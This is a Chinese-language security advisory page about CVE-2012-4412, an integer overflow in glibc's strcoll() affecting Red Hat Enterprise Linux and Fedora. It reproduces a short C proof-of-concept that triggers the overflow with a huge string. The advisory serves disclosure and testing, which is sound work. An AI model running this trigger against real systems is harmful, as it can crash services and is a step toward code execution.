首页 -> 安全研究

安全研究

安全漏洞
GNU glibc 'strcoll()'例程整数溢出漏洞

发布日期:2012-09-07
更新日期:2012-09-10

受影响系统:
RedHat Enterprise Linux 6
RedHat Enterprise Linux 5.0
RedHat Fedora 17
RedHat Fedora 16
描述:
BUGTRAQ  ID: 55462
CVE ID: CVE-2012-4412

glibc是绝大多数Linux操作系统中C库的实现。

GNU glibc 'strcoll()'函数存在可导致缓冲区溢出的远程整数溢出漏洞,成功利用可允许攻击者在使用受影响库的应用中执行任意代码。

<*来源:Jan iankko Lieskovsky
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE 429496730

int
main (void)
{
  char *p = malloc (1 + SIZE);
  if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL)
    {
      puts ("setlocale failed, cannot test for overflow");
      return 0;
    }
  if (p == NULL)
    {
      puts ("malloc failed, cannot test for overflow");
      return 0;
    }
  memset (p, 'x', SIZE);
  p[SIZE] = 0;
  printf ("%d\n", strcoll (p, p));
  return 0;
}

建议:
厂商补丁:

RedHat
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.redhat.com/apps/support/errata/index.html

浏览次数:2221
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障